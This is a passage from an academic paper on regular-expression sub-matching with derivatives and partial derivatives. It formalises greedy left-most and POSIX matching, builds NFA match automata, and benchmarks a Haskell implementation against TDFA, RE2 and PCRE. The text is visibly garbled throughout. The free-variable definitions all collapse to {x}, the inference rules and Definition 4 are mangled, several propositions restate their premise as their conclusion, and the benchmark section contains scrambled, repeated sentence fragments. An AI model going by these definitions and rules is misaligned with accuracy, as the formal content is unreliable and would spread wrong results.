PCRE library. We present here a formalization of greedy left-most matching in terms of our notation of patterns and regular expressions. We start off by establishing some basic definitions. The first definition establishes an ordering relation \( \geq \) among structured words \( w_1 \) and \( w_2 \) which are represented as tuples. For example, we wish that \( AB \geq (AB, B) \) but \( AB \not\geq (AB, B) \). That is, the ordering relation \( \geq \) favors the longest (matching) word, starting from left to right. **Definition 1 (Ordering among Word Tuples).** Let \( |w| \) denote the length, i.e. number of symbols, of word \( w \). Then, we inductively define the (partial) ordering among tuples \( (w_1, ..., w_n) \) of words as follows: - \( w_1 \geq w_2 \iff |w_1| \geq |w_2| \) - \( (w_1, ..., w_n) \geq (w'_1, ..., w'_m) \iff \) 1. \( |w_1| \geq |w'_1| \), or 2. \( |w_1| = |w'_1| \land n > 1 \land m > 1 \land (w_2, ..., w_n) \geq (w'_2, ..., w'_m)) \) The ordering relation \( \geq \) will only be applied on tuples \( (w_1, ..., w_n) \) and \( (w'_1, ..., w'_m) \) where flattening the tuples will either result in the same sequence of letters or one is a prefix of the other. The next definition extends the ordering relation among structured words to an ordering among environments. We will write \( (x_{i_1} : w_{i_1}) \in \Gamma_i \) to refer to each binding in \( \Gamma_i = \{ x_{i_1} : w_{i_1}, ..., x_{i_n} : x_{i_n} \} \). **Definition 2 (Ordering among Environments).** Let \( (x_{i_1} : w_{i_1}) \in \Gamma_i \) for \( i \in \{ 1, ..., n \} \) and \( (x'_j : w'_j) \in \Gamma'_j \) for \( i \in \{ 1, ..., m \} \). The sequence of variables in \( \Gamma_1 \uplus \ldots \uplus \Gamma_n \mid m \) is a prefix of the sequence of variables in \( \Gamma_1 \uplus \ldots \uplus \Gamma_n \). Recall that bindings are ordered multi-sets. Then, \( (\Gamma_1, ..., \Gamma_n) \uplus (\Gamma'_1, ..., \Gamma'_m) \) iff \( (w'_{i_1}, ..., w'_{i_m}) \geq (w_{i_1}, ..., w_{i_n}) \). Environments are ordered multi-sets (lists) as well. Hence, the order of \( w_{i_1} \) and \( w'_{i_1} \) is fixed by the order of their corresponding environment variables \( x_{i_j} \). For comparison, we may only consider selected environment variables. We write \( \Gamma_i \mid V \) to restrict the environment to those variables mentioned in \( V \). That is, \( \Gamma_i \mid V = \{ x : w | x \in \Gamma \mid x \in V \} \). We write \( (\Gamma_1 \mid V, ..., \Gamma_n) \mid V \) as a short-hand notation for \( (\Gamma_1 \mid V, ..., \Gamma_n) \). For all pattern variables we record the match in some environment. We compute these variables via function \( baseFv \). **Definition 3 (Free Pattern Variables).** The set of free pattern variables is defined as follows: \[ \begin{align*} fv(x : r) &= \{ x \} \\ fv(x : p) &= \{ x \} \cup \{ x \} \\ fv(p_1, p_2) &= \{ x \} \\ fv(p^*) &= \{ x \} \\ fv(p_1 + p_2) &= \{ x \} \\ fv(p_1 + p_2) &= \{ x \} \end{align*} \] The set of free variables belonging to base patterns \( x : r \) is defined as follows: \[ \begin{align*} baseFv(x : r) &= \{ x \} \\ baseFv(x : p) &= \{ x \} \\ baseFv(p_1, p_2) &= \{ x \} \\ baseFv(p^*) &= \{ x \} \\ baseFv(p_1 + p_2) &= \{ x \} \\ baseFv(p_1 + p_2) &= \{ x \} \end{align*} \] We have everything at hand to formalize greedy left-most matching in Figure 4. Judgment \( \vdash^* \leadsto \leadsto \vdash \) performs the matching for all intermediate nodes. The rules strictly favor the left-most match as shown by rules (LM-ChoiceL) and (LM-ChoiceR). In case of (LM-ChoiceR), we append the empty binding \( \Gamma_1 \) ahead of the right match \( \Gamma_2 \). This guarantees that we cover all pattern variables even if they only contribute the empty binding and all bindings reflect the order of the variables in the pattern. This is the basis for the greedy left-most comparison in rules (LM-Star) and (LM). In case of the Kleene star, we greedily follow the left-most matching policy. See rule (LM-Star). Recall that the bindings in \( \Gamma \) are ordered in the left-to-right matching order. The top judgment \( \vdash^* \leadsto \leadsto \) and rule (LM) finally select the greedy left-most match. For selection, we must only consider the base bindings resulting from sub-patterns \( x : r \) because of the depth-first left-to-right nature of greedy left-most matching. For example, \( \{ xyz : ABAAC, xy : ABA, x : AB, y : A, z : AC \} \) is the greedy left-most match for pattern \( \{ xyz : (xy : (x : A + AB, y : BAA + A), z : AC + C) \} \) and input \( ABAAC \). A subtle point is that this is not strictly enough to ensure that we compute the 'Perl-style' greedy left-most match. The reason is that we do not require to fully annotate a pattern with variables. For example, consider pattern \( (x : (A + AB), y : (B + \epsilon)) \) and input \( AB \) where we find that \( AB \vdash^* (x : (A + AB), y : (B + \epsilon)) \leadsto \{ x : AB, y : \epsilon \} \). \[ \begin{align*} \text{(LM-VarBase)} & \quad w \models_{\text{lm}} p \rightsquigarrow \Gamma \\ \end{align*} \] \[ \begin{align*} \text{(LM-VarGroup)} & \quad w \models_{\text{lm}} x : \sigma \rightarrow \{ x : w \} \\ \end{align*} \] \[ \begin{align*} \text{(LM-Pair)} & \quad w \models_{\text{lm}} p \rightsquigarrow \Gamma \\ \end{align*} \] \[ \begin{align*} \text{(LM-ChoiceL)} & \quad w \models_{\text{lm}} (p_1, p_2) \rightsquigarrow \Gamma_1 \cup \Gamma_2 \\ \end{align*} \] \[ \begin{align*} \text{(LM-ChoiceR)} & \quad w \models_{\text{lm}} p_1 + p_2 \rightsquigarrow \Gamma_1 \cup \Gamma_2 \\ \end{align*} \] \[ \begin{align*} \text{(LM-Star)} & \quad w \models_{\text{lm}} \{ p_i \}_{i=1}^n \rightsquigarrow \prod_{i=1}^n \Gamma_i \\ \end{align*} \] \[ \begin{align*} \text{(LM)} & \quad w \models_{\text{lm}} p \rightsquigarrow \Gamma \\ \end{align*} \] Figure 4. Greedy Left-Most Matching This match arises because we do not look further inside the base pattern \( x : (A + AB) \). However, this is not quite the Perl-style match which is \( \{ x : A, y : B \} \). To obtain the Perl-style match, we must simply fully annotate the pattern with variables: \[ ( x : (x_1 : A + x_2 : AB), y : (y_1 : B + y_2 : \varepsilon)) \] By fully annotating the pattern we guarantee that the input letter \( A \) is matched against the left-most occurrence of \( A \) in \( A + AB \). Thus, we obtain the desired match \( \{ x : A, x_1 : A, y : B, y_1 : B \} \). We conclude this section by stating some elementary properties and also consider a few further examples. Proposition 3.1 (Greedy Left-Most Completeness). Let \( w \) be a word, \( p \) be a pattern and \( \Gamma \) be a binding such that \( w \models_{\text{lm}} p \rightsquigarrow \Gamma \). Then, \( w \models_{\text{lm}} p \rightsquigarrow \Gamma \) for some \( \Gamma' \) such that \( \Gamma(x) = \Gamma'(x) \) for all \( x \in \text{dom}(\Gamma) \). Proposition 3.2 (Greedy Left-Most Determinism). Let \( w \) be a word, \( p \) be a pattern and \( \Gamma_1, \Gamma_2 \) be two bindings such that \( w \models_{\text{lm}} p \rightsquigarrow \Gamma_1 \) and \( w \models_{\text{lm}} p \rightsquigarrow \Gamma_2 \). Then, \( \Gamma_1 = \Gamma_2 \). Proposition 3.4 (Greedy Left-Most Associative Stability). Let \( w \) be a word, \( p_1, p_2, p_3 \) be patterns and \( \Gamma \) be a binding such that \( w \models_{\text{lm}} ((p_1, p_2), p_3) \rightsquigarrow \Gamma \) and \( w \models_{\text{lm}} (p_1, (p_2, p_3)) \rightsquigarrow \Gamma. \) Then, we have that \( \Gamma = \Gamma' \). 3.2 POSIX Matching POSIX matching favors the longest word match \( w_1, \ldots, w_n \) relative to some pattern structure \( p_1, \ldots, p_m \), where each sub-word \( w_i \) matches sub-pattern \( p_i \). We say that \( w_1, \ldots, w_n \) is the maximal (longest) word match if for any other matching sequence \( w'_1, \ldots, w'_n \) we have that \( w_1, \ldots, w_n \) is smaller than \( w'_1, \ldots, w'_n \) w.r.t. the ordering relation \( \geq \) among word tuples. The precise definition follows. Definition 4 (Maximal Word Match). We say that \( w_1, \ldots, w_n \) is the maximal (word) match w.r.t. patterns \( p_1, \ldots, p_n \) and environment \( \Gamma_1, \ldots, \Gamma_n \) iff \begin{align*} \phi \downarrow l &= \phi \\ \epsilon \downarrow l &= \phi \\ L_1 \downarrow l_2 &= \begin{cases} \epsilon & \text{if } L_1 = \epsilon \cup L_2 \\ \phi & \text{otherwise} \end{cases} \\ (r_1 + r_2) \downarrow l &= r_1 \downarrow l + r_2 \downarrow l \\ (r_1, r_2) \downarrow l &= \begin{cases} (r_1 \downarrow l, r_2) & \text{if } \epsilon \in L(r_1) \\ (r_1 \downarrow l, r_2) & \text{otherwise} \end{cases} \\ r^* \downarrow l &= (r \downarrow l, r^*) \end{align*} **Figure 6. Regular Expression Derivatives** 1. for all \( w_1, \ldots, w_n \) such that - \( w_1 \ldots w_n = w_1' \ldots w_n' \), and - \( w_i' \vdash p_i \sim \Gamma_i \) for \( i = 1, \ldots, n \), and 2. for all \((w, \Gamma)\) that\( w \vdash p \sim \Gamma \), then there exists \( \Gamma' \) such that \( w \vdash p \sim \Gamma \) or \( \Gamma' \) is deterministic of \( p \) with respect to \( \Gamma \) if and only if \( w \vdash p \sim \Gamma \) and \( \Gamma' \) is deterministic of \( p \) with respect to \( \Gamma \). **Proposition 3.5 (Maximal Word Match Existence and Uniqueness).** The maximal word match exists and is unique because the ordering relation among word matches and environment matches is well-founded. POSIX Matching favors the left-most match which respects the pattern structure. Figure 5 formalizes this requirement. The maximal word match condition in rule (POSIX-Pair) ensures that the first pattern \( p_1 \) is matched by the longest sub-part of \( w \). Similarly, rule (POSIX-Star) demands that in each iteration we match the longest sub-word. For each iteration we record the binding and therefore use multi-sets, i.e. lists. We state some elementary properties about POSIX matching. The first property states that if there is a match there is also a POSIX match. **Proposition 3.6 (POSIX Completeness).** Let \( w \) be a word, \( p \) be a pattern and \( \Gamma \) a binding such that \( w \vdash p \sim \Gamma \). Then, there exists \( \Gamma' \) such that \( w \vdash p \sim \Gamma \). Determinism of POSIX matching follows from the fact that the maximal match is unique and we favor the left-match in case of choice patterns. **Proposition 3.7 (POSIX Determinism).** Let \( w \) be a word, \( p \) be a pattern and \( \Gamma_1 \) and \( \Gamma_2 \) be two bindings such that \( w \vdash p \sim \Gamma_1 \) and \( w \vdash p \sim \Gamma_2 \). Then, \( \Gamma_1 \sim \Gamma_2 \). A straightforward induction shows that every POSIX match is still a valid match w.r.t. the earlier indeterministic matching relation in Figure 3. **Proposition 3.8 (POSIX Correctness).** Let \( w \) be a word, \( p \) be a pattern and \( \Gamma \) a binding such that \( w \vdash p \sim \Gamma \). Then, \( w \vdash p \sim \Gamma \). Unlike greedy left-most, POSIX matching is not stable under associativity of concatenation. For example, \( (x : A, y : BAA, z : C) \) is the POSIX match for pattern \((x : A + AB, y : BAA + A), z : AC+C)\) and input \(ABACAC\). For pattern \((x : A+AB, y : BAA + A), z : AC+C)\), we find the different POSIX match \((x : AB, y : A, z : AC)\). ### 4. Derivatives for Sub-Matching We formalize the derivatives matching algorithm motivated in Section 2. Figure 6 summarizes all cases for building regular expression derivatives. For example, \( l' \downarrow = \epsilon \) and \( (r_1 + r_2) \downarrow l = r_1 \downarrow l + r_2 \downarrow l \). The pair case checks if the first component \( r_1 \) is empty or not. If empty, the letter \( l \) can be taken away from either \( r_1 \) or \( r_2 \). If non-empty, we take away \( l \) from \( r_1 \). In case of the Kleene star, we unfold \( r^* \) to \((r, r^*)\) and take away the leading \( l \) from \( r \). \begin{align*} env(\cdot) &::= p \rightarrow \{ \Gamma \} \\ env(x \downarrow w : r) &= \begin{cases} \{ \{(x, w)\} \} & \text{if } \epsilon \in L(r) \\ \{ \} & \text{otherwise} \end{cases} \\ env(x \downarrow w : p) &= \begin{cases} \{(x, w)\} & \text{if } \epsilon \in L(p) \\ \{\} & \text{otherwise} \end{cases} \\ env(p_1 + p_2) &= env(p_1) \uplus env(p_2) \\ env(p^*) &= env(p) \\ match(\cdot, \cdot) &::= p \rightarrow \{ \Gamma \} \\ match(p, w) &= env(p \downarrow w) \end{align*} **Figure 7. Pattern Derivatives** **Figure 8. Derivative Matching** Figure 7 formalizes the construction of pattern derivatives \( p \downarrow l \). In case of a pattern variable, we build the derivative of the regular expression (base variable) or inner pattern (group variable). The match is recorded in the pattern itself by appending \( l \) to the already matched word \( w \). The pattern syntax in case of variables is therefore slightly extended. The cases for choice and star are similar to the regular expression case. The pattern match for star records the binding for each iteration. The pair case differs compared to the regular expression case. The \( \cdot \downarrow \) helper function extracts the regular expression to test if the first pattern \( p_1 \) is empty. If empty, all further matchings will only consider \( p_2 \). However, we can’t simply drop \( p_1 \) because we record the variable binding in the pattern itself. Instead, we make the pattern empty such that the resulting pattern can’t match any further input. See helper function \( \cdot \downarrow \). Figure 9. Pattern Simplifications Figure 9 formalizes the simplifications for the pattern case. (S1) and (S2) remove failed matches. (S3) favors the left-most match. These simplifications should be applied after each derivative step. For our running example, we obtain then the following derivation. \[ \begin{align*} \phi \to & (x:A^*, y: A^*) \\ \to & (x:A^*, y: A^*) + (x:A^*, y: A^*) \\ \to & ((x:A^*, y: A^*) + (x:A^*, y: A^*) + (x:A^*, y: A^*) \\ \to & ... \end{align*} \] Thus, we achieve a reasonable performance. However, in our experience the partial derivative matching approach appears to be superior in terms of performance. In general, it is more effective to build a (partial derivative) automata whose size is per construction at most linear in the size of the regular expression pattern, instead of constructing a potentially exponentially large (derivative) automata which needs to be simplified. Hence, we will take a closer look at the partial derivative approach next. 5. Partial Derivatives for Sub-Matching Our goal is to construct a NFA match automata as outlined in Section 2. The states of the NFA are pattern partial derivatives. 5.1 Partial Derivatives First, we repeat the definition of regular expression partial derivatives in Figure 10. Operator \( \setminus \cdot \) computes partial derivatives and is similar to the derivative \( \cdot \) operator. The crucial difference is that we now put sub-results into a set instead of combining them via the choice operator +. For expression \( A^* \) we find \( A^* \setminus \cdot \{ (\epsilon, A^*) \} \equiv_{simplification} \{ A^* \} \) For brevity, we omit some obvious simplifications, e.g. \( (\epsilon, A^*) \rightarrow A^* \), to reduce the number of partial derivatives. We can restate the following result already reported in [2]. Proposition 5.1 (Antimirov). For a finite alphabet \( \Sigma \) and regular expression \( r \), the set of partial derivatives of \( r \) and its descendants is finite. The size of the set is linear in the size of the regular expression. The construction of pattern partial derivatives follows closely the construction of regular expression partial derivatives. Instead of recording the pattern match in the pattern itself as in the derivative case, we associate a pattern matching function \( f \) to each partial derivative. Figure 11 contains the details. In case of \( x : r \), we compute the partial derivatives \( r' \) of the base regular expression \( r \). The resulting set consists of elements \( (x : r', x \mapsto l) \) where \( r \mapsto l \) records that letter \( l \) is consumed by some pattern variable \( x \). In case of a variable group pattern, we compose the matching of \( f \) of the partial derivatives of the underlying pattern \( p \) with the outer group match \( x \mapsto l \). The cases for choice and concatenation are straightforward. In case of the Kleene star, the purpose of \texttt{iterate}_{fs(p)} is to keep track of the number of iterations in case of a star pattern. Thus, we can customize the matcher to keep all matchings concerning \texttt{fs}(p) or keep only the last match (which is the typical case). For example, consider pattern \((x : AB + C)^*\), and input \(ABCAB\). If \texttt{iterate}_{fs(p)} is customized to keep the last match, then we obtain \(\{x : AB\}\). If \texttt{iterate}_{fs(p)} accumulates the individual matchings then the result will be \(\{x : AB, x : C, x : AB\}\). **Definition 5** (Star Pattern All Matchings). We follow the star pattern all matchings policy if \texttt{iterate}_{fs(p)} accumulates all matchings of each individual iteration step. **Definition 6** (Star Pattern Last Match). We follow the star pattern last match policy if \texttt{iterate}_{fs(p)} removes the bindings for all variables in \texttt{fs}(p) besides the last, i.e., current, match. Antimirov’s result straightforwardly transfers to the regular expression pattern setting. **Proposition 5.2** (Finiteness of Pattern Partial Derivatives). For a finite alphabet \(\Sigma = \{1, \ldots, n\}\) and pattern \(p\), the set \(P\) of pattern partial derivatives of \(p\) and its descendants computed via \(\setminus_p\), is finite. The set \(P\) can be described as the least fix point of the following equation \[P(p) = \{q | \text{(q, f) \in p|p|1\ldots l_n} \cup \{(q, f) \in \mathcal{P}(p), q' \in q|p|1\ldots l_n\}\} \] where \(q|p|1\ldots l_n = q|p|1 \cup \ldots \cup q|p|l_n\). The size of the set \(P(p)\) is linear in the size of the pattern. We consider construction of partial derivatives for our earlier example \((x : A + y : AB + z : B)^*\). We start with \(p_1 = (x : A + y : AB + z : B)^*\). Next, we have \[ p_1\setminus_p A = \{(x : e)p_1, x \mapsto A\}, \{y : B)p_1, y \mapsto A\}\} \] Like in the regular expression case, we apply some simplifications. The remaining calculations are as follows. \[ p_1\setminus_p B = \{(z : e)p_2, z \mapsto B\} \] simplification \[ \{p_1, z \mapsto B\} \] \[ p_2\setminus_p A = \{\} \] \[ p_2\setminus_p B = \{\{y : e)p_3, y \mapsto B\}\} \] simplification \[ \{p_1, y \mapsto B\} \] We have reached a fix point. ### 5.2 NFA Match Automata The above result allows us to build a non-deterministic, finite match automata in style of Laurikari’s NFAs with tagged transitions [12]. **Definition 7** (NFA Match Automata). We define the NFA match automata for pattern \(p\) as follows. Pattern \(p\) is the initial state. The set of final states equals \[\{q \in \mathcal{P}(p), \epsilon \in L(q, l)\}\] That is, \(q\) is a pattern if its underlying regular expression contains the empty word. The NFA transitions result from the pattern partial derivative operation as follows. For each \((p', f) \in (p|p|l)\), we introduce a transition \[p \xrightarrow{(l, f)} p'\] We use a Mealy automata where the letter \(l\) is the triggering condition and the match function \(f\) is the output function applied to the match environment. For our running example \((x : A + y : AB + z : B)^*\), the NFAs transitions are shown in Figure 11. ### 5.3 Greedy Left-Most Matching Algorithm **Definition 8** (Greedy Left-Most Matching Algorithm). The greedy left-most matching algorithm for pattern \(p\) and input word \(w\) is defined as the left-to-right traversal of the NFA match automata resulting from \(p\) for input word \(w\). Sink states of transitions are kept in the order as they appear in the set of partial derivatives. Duplicate states are removed, only the left-most state is kept. Precisely, transitions operate on configurations \[\{p_1, \ldots, p_n\} \Gamma^p_1 \ldots \Gamma^p_n\] For transitions \[p \xrightarrow{(l, f)} p_1, p_1 \xrightarrow{...} p_n\] where \(\{p_1, f_1, \ldots, (p_n, f_m)\} = \emptyset|p|l\) and configuration \[\{p_1, \ldots, p_n, \ldots, p_n\} \Gamma^p_1 \ldots \Gamma^p_n \Gamma^o_1 \ldots \Gamma^o_n\] we obtain the (intermediate) derivation step \[\{p_1, \ldots, p_n\} \Gamma^p_1 \ldots \Gamma^p_n \Gamma^o_1 \ldots \Gamma^o_n\] Of course, we need to reduce the remaining \(p_i\)’s w.r.t. letter \(l\) to obtain a complete derivation step. In a configuration, the resulting set of states is simplified by removing duplicate states where we keep the left-most state. That is, \(P_1 \cup \{p\} \cup P_2 \cup \{p\} \cup P_3\) is simplified to \(P_1 \cup \{p\} \cup P_2 \cup P_3\) until there are no duplicates. We elaborate on a few aspects of the algorithm. To guarantee the greedy left-most matching order, it is important that transitions are executed as in the (left-to-right) order of partial derivatives \(\{p_1, f_1, \ldots, (p_m, f_m)\}\) as computed by \(p|p|l\). Our algorithm does not require to fully annotate the pattern. The reason is that the construction of pattern partial derivatives strictly breaks apart the pattern structure. Consider the base case \((x : r)\) from Figure 11 \[\{x : r\} \setminus_p l = \{(x : r', x \mapsto l) | r' \in r|p|l\}\] For \(p = (x : (A + AB), y : (B + e))\), we obtain (after simplification) \[p|p|l = \{(y : (B + e), x \mapsto A), ((x : B)(y : (B + e), y \mapsto B)\} This guarantees that we compute the greedy left-most match \(\{x : A, y : B\}\) for input \(AB\). The set of NFA states is a constant, bound by the size of \(p\). Hence, the running time of the algorithm is linear in the size of the input. In summary, we can state the following results. By construction, the algorithm follows the greedy left-to-right matching policy. The greedy left-most matching algorithm implements the greedy left-most matching policy and its running time is linear in the size of the input. The space required to store the final and all intermediate match environments is a constant, bound by the size of the pattern. 5.4 NFA Comparison In Figure 12 we show the size of the resulting match automata for Thompson, Glushkov and partial derivative NFAs. Our focus is on the specific automata construction method without any post-simplification step. As can be seen, the partial derivative NFA is ‘smaller’ compared to the other NFAs. This is confirmed through [1], [2] and [21]. Thompson NFAs often have the largest sets of states and transitions due to the \( \epsilon \) transitions. According to [21], for large alphabet sets, partial derivative NFAs are about half the sizes of Glushkov NFAs in terms of states and transitions. In the last example, we use \( \Sigma \) to denote the union of all ASCII characters. In this particular case, the Glushkov NFA construction scales the worst. This is due to the fact that each character creates a state in the NFA [15]. Due to the Kleene star, there are at least 256*256 transitions. The Thompson NFA does not scale well in terms of states, either. Our implementation de-sugars \((A + B + C)\) to \((A + (B + C))\) and therefore more states will be generated. Of course, the size of the Thompson NFA could be significantly reduced if we avoid this de-sugaring step. We have built reference implementations of greedy left-most matching for all three NFA approaches. Basic measurements show that the matcher based on partial derivatives is generally much faster. These are ‘non-optimized’ reference implementations. Hence, the result is not necessarily conclusive but is an indication that matching with partial derivatives is promising. We provide conclusive evidence in the later Section 7. 6. Extensions for Real world Applications So far, we have presented the core of a system to support regular expression pattern matching. Regular expression patterns used in the real world applications require some extensions. For instance, patterns with sub-match binding is expressed implicitly in the regular expression pattern via groups, and the concatenation requires no constructor. In the following section, we use \( p \) (in text mode) to denote a pattern in the real world application syntax, and \( p \) (in math mode) to denote a pattern in our internal syntax defined earlier. The syntax of \( p \) will be explained by examples in the following paragraphs. 6.1 Group Matching In many mainstream languages that support regular expression pattern matchings, such as Perl, python, awk and sed, programmers are allowed to use “group operator”, \( (\cdot) \) to mark a sub-pattern from the input pattern, and the sub strings matched by the sub pattern can be retrieved by making reference to integer index of the group. For instance, \((a^*\cdot b^*)\) is equivalent to pattern \( x : a^* \) \( y : b^* \) in our notation. Sending the input “aab” to \((a^*\cdot b^*)\), yields \([aa^*, b^*]\), where the first element in the list refers to the binding of the first group \((a^*)\) and the second element refers to the binding of the second group \((b^*)\). Group matching is supported in our implementation by translating the groups into patterns with pattern variables. 6.2 Character Classes Character class is another extension we consider. For instance, \([0-9]\) denotes a single numeric character. \([A-Za-z]\) denotes one alphabet character. We translate these two types of character classes into regular expressions via the choice operation \( + \). There are some other type of character classes that require more work to support. Character classes can be negated. \([0-9]\) denotes any non-numeric character. Another related extension that is available in real world application is the dot symbol \( . \), which can be used to represent any character. There are two different approaches to support the dot symbol and negative character classes. One approach is to translate the dot symbol into a union of all ASCII characters and to translate negative character classes to unions of all ASCII characters excluding those characters mentioned in the negated character classes. The other approach is to introduce these two notations \( . \) and \([71-99]\) to our internal regular expression pattern language, such that \[ \{ \cdot \} = \{ \} \] \[ [71-99] = \{ \} \] In our implementation, we adopt the latter because the resulting regular expressions are smaller in size hence it is more efficient. 6.3 Non-Greedy Match The symbol ? in the pattern \((a^*?)\) \((a^*)\) indicates that the first sub pattern \(a^*\) is matched non-greedily, i.e. it matches with the shortest possible prefix, as long as the suffix can be consumed by the sub pattern that follows. Non-greedy matching can be neatly handled in our implementation. To obtain a non-greedy match for a pair pattern \((p_1, p_2)\) where \(p_1\) is not greedy, we simply reorder the two partial derivatives coming from \((p_1, p_2)\). We extend the pair pattern case of \(\{ . \}\) in Figure 11 as follows, \[ (p_1, p_2) \{ . \} = \begin{cases} (p_2 \cup \{ (p_1, f), f \mid f \in p_1 \}) & \text{if } \epsilon \in L(p_1, p_2) \\ (p_1 \cup p_2) \{ . \} & \text{if } \epsilon \in L(p_1, p_2) \\ (p_1, p_2) \{ . \} & \text{otherwise} \end{cases} \] Extending our pattern language with the greediness symbol is straight-forward and the definition of greedy(\( \cdot \)) := \( p \rightarrow \text{false} \) is omitted for brevity. 6.4 Anchored and Unanchored Match Given a pattern \( p \), \( "p$s" \) denotes an anchored regular expression pattern. The match is successful only if the input string is fully matched by \( p \). A pattern which is not starting with \("\) and not ending with \( $\) is considered unanchored. An unanchored pattern can match with any sub-string of the given input, under some matching policy. Our implementation clearly supports anchored matches. To support unanchored match, we could rewrite the unanchored pattern \( p \) into an equivalent anchored form, \("\) \( \ast \?p \ast\$\), and proceed with anchored match. 6.5 Repetition Pattern Repetition patterns can be viewed as the syntactic sugar of sequence patterns with Kleene star. \( p[n] \) repeats the pattern \( p \) for \( n \) times; \( p[n, m] \) repeats the pattern \( p \) for at least \( n \) times and at maximum \( m \) times. It is obvious that the repetition pattern can be “compiled” away using the composition of sequence and Kleene star operators. Other extensions such as unicode encoding and back references are not considered in this work. 7. Experimental Results We measure the performance of our regular expression sub-matching approach based on partial derivatives. We have built an optimized implementation of greedy left-to-right matching. Our implementation is entirely written in Haskell and we employ several (fairly standard) optimizations such as hashing of states etc. The benchmarkings were conducted on a Mac OSX 10.6.8 with 2.4GHz Core 2 Duo and 8GB RAM. The benchmark programs were compiled using GHC 7.0.4. We divide the benchmarkings into two groups. In the first group, we compare our implementation with other native Haskell implementation. In the second group, we challenge the C implementations. The complete set of the benchmark results can be located via http://code.google.com/p/xhaskell-library/ in which the broader scope of comparison is considered. ### 7.1 Contenders and Benchmark Examples The contenders are: - **PD-GLR** our greedy left-to-right matching implementation. - **Weighted** [7], the native Haskell implementation of regular expression matching. Weighted’s sub matching is fairly limited because it only supports one variable pattern, i.e. \( x :: \star ( x :: \star ) \). Nevertheless, we included Weighted in the comparison. The implementation is accessible via the Haskell package Text.Regex.Weighted; - **TDFA**, the native Haskell implementation of [11]. It is accessible via the library Text.Regex.TDFA [19]. - **RE2**, the google library re2; - **PCRE**, the pcre library, accessible via the Haskell wrapper Text.Regex.PCRE [17]; - **PCRE**, the light-weight wrapper to the pcre library, accessible via Text.Regex.PCRE.Light [18]. The benchmark sets consist of examples adopted from [6], and some others being extracted from the real world applications that we encountered. For the up-coming performance measurements, we select the following representative examples: 1. A simple pattern which involves no choice, in which our implementation does not take any advantage; 2. A contrived pattern which builds up a lot of choices, in which our algorithm out-performs PCRE’s and is on par with RE2’s; 3. Two real world application examples in which we assess the practicality of our implementation. ### 7.2 Competing with Native Haskell Implementations In Figure 13, Figure 14 and Figure 15, we compare the run-time performance of PD-GLR, TDFA and Weighted. As a convention in all figures, the x-axis measures the size of the input; the y-axis measures the time taken to complete the match, measured in seconds. Figure 13 shows the results of matching the pattern `^.*$` against some randomly generated text. PD-GLR’s performance is on par --- \[^{\text{Other implementations, e.g. Text.Regex.Parsec, Text.Regex.DFA and Text.Regex.TRE couldn’t be compiled at the time when this paper was written. Text.RegexPR didn’t scale at all for any of our examples. Therefore, we exclude these packages from our benchmark comparison.}}\] In this section, we challenge ourselves by benchmarking against performs marginally better than TDFA in these examples. out-performs Weighted thanks to the smaller automata. PD-G LR input. The charts show that in case of complex patterns, PD-G LR "Mountain View, CA 90410" matches with the pattern. Note that extracts the US addresses from the input. For instance, the address "http://www.mysite.com/?foo=123&bar=567" matches with the above pattern. the x-axis in Figure 15 measures the number of addresses in the input. The charts show that in case of complex patterns, PD-GLR performs marginally better than TDFA in these examples. 7.3 Competing with C Implementation and Wrappers In this section, we challenge ourselves by benchmarking against some implementation directly using C or wrapping around the C PCRE library. In Figure 16, we use a wild card pattern (.*) to match with some randomly generated text. PD-GLR’s performance is slightly worse than PCRE and PCREL. RE2 is taking the lead by a factor of ten. Profiling PD-GLR for this example shows that most time is spent in de-composing the input ByteString [4], which is of course less efficient than the C counterparts which have direct access to the character array. In Figure 17, we re-apply the example from Figure 15 to PCRE and RE2. It shows that PD-GLR and RE2 perform slightly better than PCRE. The difference is about 1 second, due to the ByteString decomposition. Note that the run-time statistics of PCREL is omitted in Figure 17. In this particular example, PCREL performs the worst. The difference is by hundreds of seconds compared to oth- ers. In the last example in Figure 18, we match a string with n “a”s against the pattern (a?)|^(.*)a[^a-z]*$\). The sub-pattern (a?) will not match PCRE does not scale well because of back-tracking. When the input n reaches 30, the program exits with a segmentation fault. PCRE shares the same behavior as PCRE since they share the same C backend library. The non-backtracking algorithms PD- GLR and RE2 show the similar performance. What is omitted in Figure 18 is that, when n > 30, PD-GLR is performing non- linearly. Profiling reveals that the overhead is arising from the com- putation phase. We plan to address this issue in the future work. 7.4 Performance Measurement Summary Our measurements show that ours is the fastest native Haskell implementation of regular expression sub-matching. Compared to state-of-the art C-based implementations RE2 and PCRE, our im- plementation has a fairly competitive performance. 8. Related Work and Discussion Our use of derivatives and partial derivatives for regular expres- sion matching is inspired by our own prior work [14, 22] where we derive up-cast and down-cast coercions out of a proof sys- tem describing regular expression containment based on partial derivatives. The goal of this line of work is to integrate a XDuce- style language [9] into a variant of Haskell [23]. The focus of the present work is on regular expression sub-matching and some spe- cific matching policies such as greedy and POSIX. Regular expression derivatives have recently attracted ag ain some attention. The work in [16] employs derivatives for scanning, i.e. matching a word against a regular expression. To the best of our knowledge, we are the first to transfer the concept of deriva- tives and partial derivatives to the regular expression sub-matching setting. Prior work relies on mostly Thompson NFAs [24] for the construction of the matching automata. For example, Frisch and Cardelli [8] introduce a greedy matching algorithm. They first run the input from right-to-left to prune the search space. A similar approach is pursued in some earlier work by Kearns [10]. Laurikari [12, 13] devises a POSIX matching automata and introduces the idea of tagged transitions. A tag effectively corresponds to our incremental matching functions which are computed as part of partial derivative operation \( \partial \). Kuklewicz has implemented Laurikari style tagged NFAs in Haskell. He [11] discusses various optimization techniques to bound the space for matching histories which are necessary in case of (forward) left-to-right POSIX matching. Cox [6] reports on a high-performance implementation of regular expression matching and also gives a comprehensive account of the history of regular expression match implementations. We refer to [6] and the references therein for further details. He introduces the idea of right-to-left scanning of the input for POSIX matching. As said, all prior work on efficient regular expression matching relies mostly on Thompson NFAs or variants of it. Partial derivatives are a form of NFA with no \( \epsilon \)-transitions. For a pattern of size \( n \), the partial derivative NFA has \( O(n) \) states and \( O(n^2) \) transitions. Thompson NFAs have \( O(n) \) states as well but \( O(n) \) transitions because of \( \epsilon \)-transitions. The work in [8] considers \( \epsilon \)-transitions as problematic for the construction of the matching automata. Laurikari [12, 13] therefore first removes \( \epsilon \)-transitions whereas Cox [6] builds the \( \epsilon \)-closure. Cox algorithm has a better theoretical complexity in the range of \( O(n \times m) \) where \( m \) is the input language. In each of the \( m \) steps, we must consider \( O(n) \) transitions. With partial derivatives we cannot do better than \( O(n^2 \times m) \) because there are \( O(n^2) \) transitions to consider. However, as shown in [2] the number of partial derivatives states is often smaller than the number of states obtained via other NFA constructions. Our performance comparisons indicate 